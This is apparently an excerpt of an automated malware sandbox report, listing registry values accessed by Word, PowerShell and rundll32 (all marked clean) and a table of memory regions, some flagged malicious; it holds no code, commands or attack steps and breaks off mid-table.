Book Antiqua
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bookman Old Style
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bookshelf Symbol 7
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bradley Hand ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Britannic Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Broadway
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Browallia New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
BrowalliaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Brush Script MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calibri
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calibri Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Californian FB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calisto MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria Math
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Candara
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Castellar
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Centaur
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century Schoolbook
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Chiller
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Colonna MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Comic Sans MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Consolas
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Constantia
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cooper Black
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Copperplate Gothic Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Copperplate Gothic Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Corbel
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cordia New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
CordiaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Courier New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Curlz MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DaunPenh
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
David
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DFKai-SB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DilleniaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DokChampa
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Dotum
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DotumChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Ebrima
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Edwardian Script ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Elephant
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Engravers MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Bold ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Demi ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Light ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Medium ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Estrangelo Edessa
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
EucrosiaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Euphemia
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FangSong
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Felix Titling
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Footlight MT Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Forte
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Book
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Demi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Demi Cond
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Heavy
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Medium
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Medium Cond
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FrankRuehl
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FreesiaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Freestyle Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
French Script MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gabriola
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Garamond
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gautami
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Georgia
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gigi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT Ext Condensed Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans Ultra Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans Ultra Bold Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gisha
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gloucester MT Extra Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Goudy Old Style
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Goudy Stout
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gulim
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
GulimChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gungsuh
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
GungsuhChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Haettenschweiler
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Harlow Solid Italic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Harrington
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
High Tower Text
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Impact
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Imprint MT Shadow
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Informal Roman
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
IrisUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Iskoola Pota
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
JasmineUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Jokerman
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Juice ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
KaiTi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kalinga
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kartika
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Khmer UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
KodchiangUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kokila
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kristen ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kunstler Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lao UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Latha
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Leelawadee
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Levenim MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
LilyUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Bright
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Calligraphy
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Console
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Fax
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Handwriting
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans Typewriter
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans Unicode
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Magneto
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Maiandra GD
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Malgun Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mangal
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Marlett
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Matura MT Script Capitals
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Meiryo
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Meiryo UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Himalaya
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft JhengHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft New Tai Lue
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft PhagsPa
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Sans Serif
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Tai Le
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Uighur
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft YaHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Yi Baiti
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU_HKSCS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU_HKSCS-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Miriam
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Miriam Fixed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mistral
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Modern No. 20
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mongolian Baiti
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Monotype Corsiva
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MoolBoran
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Mincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Outlook
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS PGothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS PMincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Reference Sans Serif
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Reference Specialty
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS UI Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MT Extra
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MV Boli
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Narkisim
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Niagara Engraved
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Niagara Solid
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
NSimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Nyala
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
OCR A Extended
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Old English Text MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Onyx
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Palace Script MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Palatino Linotype
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Papyrus
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Parchment
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Perpetua
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Perpetua Titling MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Plantagenet Cherokee
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Playbill
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
PMingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
PMingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Poor Richard
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Pristina
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Raavi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rage Italic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Ravie
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell Extra Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rod
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Sakkal Majalla
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Script MT Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe Print
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Semibold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Symbol
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Shonar Bangla
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Showcard Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Shruti
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Simplified Arabic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Simplified Arabic Fixed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimSun-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Snap ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Stencil
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Sylfaen
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Symbol
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tahoma
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tempus Sans ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Times New Roman
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Traditional Arabic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Trebuchet MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tunga
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT Condensed Extra Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Utsaah
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vani
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Verdana
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vijaya
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Viner Hand ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vivaldi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vladimir Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vrinda
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Webdings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wide Latin
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings 2
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings 3
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria Math
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tahoma
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
F7262
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
LastPurgeTime
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
WORDFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
F7262
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Settings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ZoomApp
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTF
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTA
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableFileTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableConsoleTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ConsoleTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
MaxFileSize
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileDirectory
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableFileTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableConsoleTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ConsoleTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
MaxFileSize
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileDirectory
 clean
C:\Windows\SysWOW64\rundll32.exe
SavedLegacySettings
 clean
There are 326 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
161000
unkown
page execute read
 malicious
1D1000
unkown
page execute read
 malicious
190000
unkown
page execute and read and write
 malicious
250000
unkown
page execute and read and write
 malicious
261000
unkown
page execute read
 malicious
B21000
unkown
page execute read
 malicious
1B0000
unkown
page execute and read and write
 malicious
241000
unkown
page execute read
 malicious
140000
unkown
page execute and read and write
 malicious
6A1000
unkown
page execute read
 malicious
150000
unkown
page execute and read and write
 malicious
1B1000
unkown
page execute read
 malicious
220000
unkown
page execute and read and write
 malicious
1F1000
unkown
page execute read
 malicious
190000
unkown
page execute and read and write
 malicious
1B1000
unkown
page execute read
 malicious
1E0000
unkown
page execute and read and write
 malicious
190000
unkown
page execute and read and write
 malicious
4A0000
unkown
page readonly
 clean
3AF000
heap default
page read and write
 clean
2AB0000
unkown
page read and write
 clean
12EB1000
unkown
page read and write
 clean
25EC000
unkown
page read and write
 clean
1F0000
unkown
page readonly
 clean
737000
heap default
page read and write
 clean
12F90000
unkown
page read and write
 clean
7FF00102000
unkown
page execute and read and write
 clean
28AF000
stack
page read and write
 clean
1B481000
unkown
page read and write
 clean
3030000
heap private
page read and write
 clean
1B4B3000
unkown
page read and write
 clean
4C0000
heap default
page read and write
 clean
A30000
unkown
page read and write
 clean
3ADE000
unkown
page read and write
 clean
30E000
unkown
page read and write
 clean
1F70000
unkown
page readonly
 clean
84E000
unkown
page read and write
 clean
950000
heap private
page read and write
 clean
23B000
unkown
page read and write
 clean
3F6000
unkown
page read and write
 clean
E0000
unkown
page read and write
 clean
420000
unkown
page read and write
 clean
2520000
heap private
page read and write
 clean
7FFFFF00000
unkown
page execute and read and write
 clean
2CE000
heap default
page read and write
 clean
30BC000
unkown
page read and write
 clean
1004D000
unkown image
page read and write
 clean
3FF000
heap default
page read and write
 clean
100000
heap default
page read and write
 clean
130000
unkown
page readonly
 clean
2680000
heap private
page read and write
 clean
456000
heap default
page read and write
 clean
3E7000
heap default
page read and write
 clean
3E4000
heap private
page read and write
 clean
2A0000
heap default
page read and write
 clean
3A8B000
unkown
page read and write
 clean
258F000
unkown
page read and write
 clean
2D20000
unkown
page read and write
 clean
2EE000
heap default
page read and write
 clean
31F3000
unkown
page read and write
 clean
4A0000
unkown
page readonly
 clean
620000
unkown
page readonly
 clean
9F4000
heap private
page read and write
 clean
340000
unkown
page readonly
 clean
1F70000
unkown
page readonly
 clean
7FF00217000
unkown
page read and write
 clean
3290000
unkown
page read and write
 clean
3296000
unkown
page read and write
 clean
C7000
heap private
page read and write
 clean
3170000
unkown
page readonly
 clean
325E000
unkown
page read and write
 clean
8D0000
unkown
page read and write
 clean
22DC000
unkown
page read and write
 clean
1004D000
unkown image
page read and write
 clean
1DB000
unkown
page read and write
 clean
90000
unkown
page readonly
 clean
2234000
heap private
page read and write
 clean
7B0000
unkown
page readonly
 clean
1004F000
unkown image
page readonly
 clean
2730000
unkown
page read and write
 clean
10001000
unkown image
page execute read
 clean
26A1000
heap private
page read and write
 clean
100000
unkown
page readonly
 clean
1CE000
unkown
page read and write
 clean
357C000
unkown
page read and write
 clean
2490000
heap private
page read and write
 clean
2741000
heap private
page read and write
 clean
2A0000
unkown
page read and write
 clean
304C000
unkown
page read and write
 clean
1004D000
unkown image
page read and write
 clean
20000
unkown
page readonly
 clean
2E9000
heap default
page read and write
 clean
90000
unkown
page read and write
 clean
22B0000
unkown
page readonly
 clean
3040000
unkown
page read and write
 clean
B4E000
stack
page read and write
 clean
2940000
unkown
page readonly
 clean
3150000
heap private
page read and write
 clean
310D000
stack
page read and write
 clean
2650000
unkown
page write copy
 clean
7FF0004A000
unkown
page execute and read and write
 clean
110000
unkown
page readonly
 clean
150000
unkown
page readonly
 clean
D60000
heap private
page read and write
 clean
380000
unkown
page readonly
 clean
20000
unkown
page readonly
 clean
1BE0000
unkown
page read and write
 clean
316E000
unkown
page read and write
 clean
B10000
heap private
page read and write
 clean
F0000
unkown
page write copy
 clean
10000000
unkown image
page readonly
 clean
620000
unkown
page readonly
 clean
10000000
unkown image
page readonly
 clean
7FF00052000
unkown
page execute and read and write
 clean
808000
heap private
page read and write
 clean
2A40000
unkown
page readonly
 clean
31B000
unkown
page read and write
 clean
D0000
unkown
page read and write
 clean
26C0000
unkown
page readonly
 clean
2FC000
heap default
page read and write
 clean
C0000
heap private
page read and write
 clean
262D000
stack
page read and write
 clean
3702000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
A20000
heap private
page read and write
 clean
258D000
unkown
page read and write
 clean
980000
unkown
page read and write
 clean
3E0000
unkown
page readonly
 clean
592000
heap default
page read and write
 clean
1B0000
unkown
page read and write
 clean
890000
heap private
page read and write
 clean
36FF000
unkown
page read and write
 clean
2390000
unkown
page readonly
 clean
10042000
unkown image
page readonly
 clean
100000
unkown
page read and write
 clean
2C9E000
unkown
page read and write
 clean
2020000
unkown
page readonly
 clean
325D000
unkown
page read and write
 clean
3A7000
heap default
page read and write
 clean
2550000
unkown
page readonly
 clean
24A000
stack
page read and write
 clean
90000
unkown
page readonly
 clean
1F0000
unkown
page readonly
 clean
2CA000
stack
page read and write
 clean
710000
heap private
page read and write
 clean
2170000
unkown
page readonly
 clean
A80000
heap private
page read and write
 clean
2B40000
unkown
page readonly
 clean
314E000
unkown
page read and write
 clean
3216000
unkown
page read and write
 clean
175000
unkown
page read and write | page guard
 clean
348B000
unkown
page read and write
 clean
1CB73000
heap private
page read and write
 clean
30FD000
stack
page read and write
 clean
740000
unkown
page readonly
 clean
1004F000
unkown image
page readonly
 clean
24A2000
heap private
page read and write
 clean
28B0000
unkown
page read and write
 clean
2D41000
unkown
page read and write
 clean
330E000
unkown
page read and write
 clean
120000
unkown
page readonly
 clean
31C000
unkown
page read and write
 clean
176000
unkown
page read and write
 clean
4E7000
heap default
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
958000
heap private
page read and write
 clean
B3C000
unkown
page read and write
 clean
2252000
heap private
page read and write
 clean
34D0000
heap private
page read and write
 clean
3AB8000
unkown
page read and write
 clean
3050000
unkown
page read and write
 clean
900000
unkown
page readonly
 clean
90E000
stack
page read and write
 clean
2157000
unkown
page readonly
 clean
BB000
unkown
page read and write
 clean
2524000
heap private
page read and write
 clean
250E000
stack
page read and write
 clean
10000000
unkown image
page readonly
 clean
2FD9000
unkown
page read and write
 clean
2751000
heap private
page read and write
 clean
1C9CE000
unkown
page read and write
 clean
30D0000
unkown
page read and write
 clean
30F6000
unkown
page read and write
 clean
F0000
unkown
page readonly
 clean
3ABC000
unkown
page read and write
 clean
1C6CE000
unkown
page read and write
 clean
316000
unkown
page read and write
 clean
55D000
heap default
page read and write
 clean
18C000
unkown
page read and write
 clean
2590000
unkown
page readonly
 clean
27F000
unkown
page read and write
 clean
3EF000
heap default
page read and write
 clean
280000
heap default
page read and write
 clean
4D8000
heap private
page read and write
 clean
7FF00290000
unkown
page read and write
 clean
312F000
unkown
